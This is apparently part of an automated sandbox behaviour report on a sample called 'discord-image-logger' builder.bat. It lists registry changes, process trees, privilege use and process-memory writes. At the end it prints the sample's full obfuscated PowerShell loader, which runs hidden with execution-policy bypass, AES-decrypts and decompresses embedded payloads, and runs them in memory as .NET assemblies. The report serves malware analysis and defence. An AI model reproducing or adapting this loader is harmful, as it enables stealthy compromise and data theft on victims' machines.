"\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\ee95bd4236780f79f526dd5ea0a2eb4babbc32e9c11b063181659222d8260af5" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000a4157e8ba5b6da01a4157e8ba5b6da01a4157e8ba5b6da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c458658c2000383539333462646338343734343936643335356566613865363431393839326437303333363433396232373563336538666561336663393562333533306430650000b20009000400efbec458658cc458658c2e000000000000000000000000000000000000000000000000005c45c600380035003900330034006200640063003800340037003400340039003600640033003500350065006600610038006500360034003100390038003900320064003700300033003300360034003300390062003200370035006300330065003800660065006100330066006300390035006200330035003300300064003000650000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000037c7c12d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c38353933346264633834373434393664333535656661386536343139383932643730333336343339623237356333653866656133666339356233353330643065000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7ceefeae542e0def1192f1f20c5df75bb0a40a9b40716b2445984d9ed1edd3eb7ceefeae542e0def1192f1f20c5df75bb0d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\94672ad3-4be5-49a8 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\176bfc79-b67f-41c6 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\85934bdc8474496d355efa8e6419892d70336439b275c3e8fea3fc95b3530d0e" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\94672ad3-4be5-49a8 = "8324" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 = 5ae47d8ba5b6da01 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 = b689888ba5b6da01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\176bfc79-b67f-41c6 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\ee95bd4236780f79f526dd5ea0a2eb4babbc32e9c11b063181659222d8260af5" RuntimeBroker.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
builder.bat.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exepid process 4400 builder.bat.exe 4400 builder.bat.exe 4400 builder.bat.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4400 builder.bat.exe 4400 builder.bat.exe 1576 $sxr-powershell.exe 1576 $sxr-powershell.exe 1576 $sxr-powershell.exe 1576 $sxr-powershell.exe 1588 dllhost.exe 1588 dllhost.exe 1588 dllhost.exe 1588 dllhost.exe 1576 $sxr-powershell.exe 1576 $sxr-powershell.exe 1576 $sxr-powershell.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe 3952 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
builder.bat.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exedllhost.exedllhost.exemousocoreworker.exeRuntimeBroker.exetaskkill.exesvchost.exedescription pid process Token: SeDebugPrivilege 4400 builder.bat.exe Token: SeDebugPrivilege 4400 builder.bat.exe Token: SeDebugPrivilege 4696 dllhost.exe Token: SeDebugPrivilege 1576 $sxr-powershell.exe Token: SeDebugPrivilege 1576 $sxr-powershell.exe Token: SeDebugPrivilege 1588 dllhost.exe Token: SeDebugPrivilege 1576 $sxr-powershell.exe Token: SeDebugPrivilege 3952 dllhost.exe Token: SeDebugPrivilege 4400 builder.bat.exe Token: SeDebugPrivilege 2520 dllhost.exe Token: SeDebugPrivilege 4400 builder.bat.exe Token: SeDebugPrivilege 904 dllhost.exe Token: SeShutdownPrivilege 1592 mousocoreworker.exe Token: SeCreatePagefilePrivilege 1592 mousocoreworker.exe Token: SeShutdownPrivilege 1592 mousocoreworker.exe Token: SeCreatePagefilePrivilege 1592 mousocoreworker.exe Token: SeShutdownPrivilege 4032 RuntimeBroker.exe Token: SeDebugPrivilege 1372 taskkill.exe Token: SeAssignPrimaryTokenPrivilege 1952 svchost.exe Token: SeIncreaseQuotaPrivilege 1952 svchost.exe Token: SeSecurityPrivilege 1952 svchost.exe Token: SeTakeOwnershipPrivilege 1952 svchost.exe Token: SeLoadDriverPrivilege 1952 svchost.exe Token: SeSystemtimePrivilege 1952 svchost.exe Token: SeBackupPrivilege 1952 svchost.exe Token: SeRestorePrivilege 1952 svchost.exe Token: SeShutdownPrivilege 1952 svchost.exe Token: SeSystemEnvironmentPrivilege 1952 svchost.exe Token: SeUndockPrivilege 1952 svchost.exe Token: SeManageVolumePrivilege 1952 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1952 svchost.exe Token: SeIncreaseQuotaPrivilege 1952 svchost.exe Token: SeSecurityPrivilege 1952 svchost.exe Token: SeTakeOwnershipPrivilege 1952 svchost.exe Token: SeLoadDriverPrivilege 1952 svchost.exe Token: SeSystemtimePrivilege 1952 svchost.exe Token: SeBackupPrivilege 1952 svchost.exe Token: SeRestorePrivilege 1952 svchost.exe Token: SeShutdownPrivilege 1952 svchost.exe Token: SeSystemEnvironmentPrivilege 1952 svchost.exe Token: SeUndockPrivilege 1952 svchost.exe Token: SeManageVolumePrivilege 1952 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1952 svchost.exe Token: SeIncreaseQuotaPrivilege 1952 svchost.exe Token: SeSecurityPrivilege 1952 svchost.exe Token: SeTakeOwnershipPrivilege 1952 svchost.exe Token: SeLoadDriverPrivilege 1952 svchost.exe Token: SeSystemtimePrivilege 1952 svchost.exe Token: SeBackupPrivilege 1952 svchost.exe Token: SeRestorePrivilege 1952 svchost.exe Token: SeShutdownPrivilege 1952 svchost.exe Token: SeSystemEnvironmentPrivilege 1952 svchost.exe Token: SeUndockPrivilege 1952 svchost.exe Token: SeManageVolumePrivilege 1952 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1952 svchost.exe Token: SeIncreaseQuotaPrivilege 1952 svchost.exe Token: SeSecurityPrivilege 1952 svchost.exe Token: SeTakeOwnershipPrivilege 1952 svchost.exe Token: SeLoadDriverPrivilege 1952 svchost.exe Token: SeSystemtimePrivilege 1952 svchost.exe Token: SeBackupPrivilege 1952 svchost.exe Token: SeRestorePrivilege 1952 svchost.exe Token: SeShutdownPrivilege 1952 svchost.exe Token: SeSystemEnvironmentPrivilege 1952 svchost.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
$sxr-powershell.exeConhost.exepid process 1576 $sxr-powershell.exe 2972 Conhost.exe -
Suspicious use of UnmapMainImage 2 IoCs
Processes:
Explorer.EXERuntimeBroker.exepid process 3556 Explorer.EXE 4032 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exenet.exebuilder.bat.exe$sxr-powershell.exedllhost.exedescription pid process target process PID 1520 wrote to memory of 2692 1520 cmd.exe net.exe PID 1520 wrote to memory of 2692 1520 cmd.exe net.exe PID 2692 wrote to memory of 4992 2692 net.exe net1.exe PID 2692 wrote to memory of 4992 2692 net.exe net1.exe PID 1520 wrote to memory of 4400 1520 cmd.exe builder.bat.exe PID 1520 wrote to memory of 4400 1520 cmd.exe builder.bat.exe PID 4400 wrote to memory of 4696 4400 builder.bat.exe dllhost.exe PID 4400 wrote to memory of 4696 4400 builder.bat.exe dllhost.exe PID 4400 wrote to memory of 4696 4400 builder.bat.exe dllhost.exe PID 4400 wrote to memory of 4696 4400 builder.bat.exe dllhost.exe PID 4400 wrote to memory of 4696 4400 builder.bat.exe dllhost.exe PID 4400 wrote to memory of 4696 4400 builder.bat.exe dllhost.exe PID 4400 wrote to memory of 4696 4400 builder.bat.exe dllhost.exe PID 4400 wrote to memory of 1576 4400 builder.bat.exe $sxr-powershell.exe PID 4400 wrote to memory of 1576 4400 builder.bat.exe $sxr-powershell.exe PID 1576 wrote to memory of 1588 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 1588 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 1588 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 1588 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 1588 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 1588 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 1588 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 4948 1576 $sxr-powershell.exe $sxr-powershell.exe PID 1576 wrote to memory of 4948 1576 $sxr-powershell.exe $sxr-powershell.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 1576 wrote to memory of 3952 1576 $sxr-powershell.exe dllhost.exe PID 3952 wrote to memory of 600 3952 dllhost.exe winlogon.exe PID 3952 wrote to memory of 680 3952 dllhost.exe lsass.exe PID 3952 wrote to memory of 956 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 336 3952 dllhost.exe dwm.exe PID 3952 wrote to memory of 760 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1056 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1124 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1132 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1180 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1220 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1264 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1316 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1360 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1412 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1464 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1564 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1580 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1636 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1728 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1772 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1780 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1864 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1972 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 2008 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 2024 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1708 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 1952 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 2128 3952 dllhost.exe spoolsv.exe PID 3952 wrote to memory of 2216 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 2304 3952 dllhost.exe svchost.exe PID 3952 wrote to memory of 2452 3952 dllhost.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ab0ba7b4-50a5-4ea9-87d0-7b933617f3d2}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ac0ba500-deb6-4c95-89ed-5426309be573}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{05d285ec-6d31-46d8-8ee7-20d42fd1995a}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f3ec4e7a-10ff-42dd-be0e-7f49dcfc6d4e}2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{315c2db9-a7a4-485b-89f9-fb07c18ebecc}2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe"builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VsYFF($UqIEP){ $cckBt=[System.Security.Cryptography.Aes]::Create(); $cckBt.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cckBt.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cckBt.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UEGY9MIPrGN+l8HMK+EOWWOHd3i8s5ddQy0gjFJszf0='); $cckBt.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIU6Lrw5kmXrlY9ZdCP5WQ=='); $twFeA=$cckBt.CreateDecryptor(); $return_var=$twFeA.TransformFinalBlock($UqIEP, 0, $UqIEP.Length); $twFeA.Dispose(); $cckBt.Dispose(); $return_var;}function onOdy($UqIEP){ $DcweI=New-Object System.IO.MemoryStream(,$UqIEP); $sUfkw=New-Object System.IO.MemoryStream; $rNOwy=New-Object System.IO.Compression.GZipStream($DcweI, [IO.Compression.CompressionMode]::Decompress); $rNOwy.CopyTo($sUfkw); $rNOwy.Dispose(); $DcweI.Dispose(); $sUfkw.Dispose(); $sUfkw.ToArray();}function spGXl($UqIEP,$ZvarV){ $UbgZg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UqIEP); $oUCsb=$UbgZg.EntryPoint; $oUCsb.Invoke($null, $ZvarV);}$WAkYi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat').Split([Environment]::NewLine);foreach ($kjXpr in $WAkYi) { if ($kjXpr.StartsWith(':: ')) { $vbeRz=$kjXpr.Substring(4); break; }}$IzdcO=[string[]]$vbeRz.Split('\');$clAux=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[0])));$WNxAq=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[1])));spGXl $WNxAq (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));spGXl $clAux (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Deletes itself
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
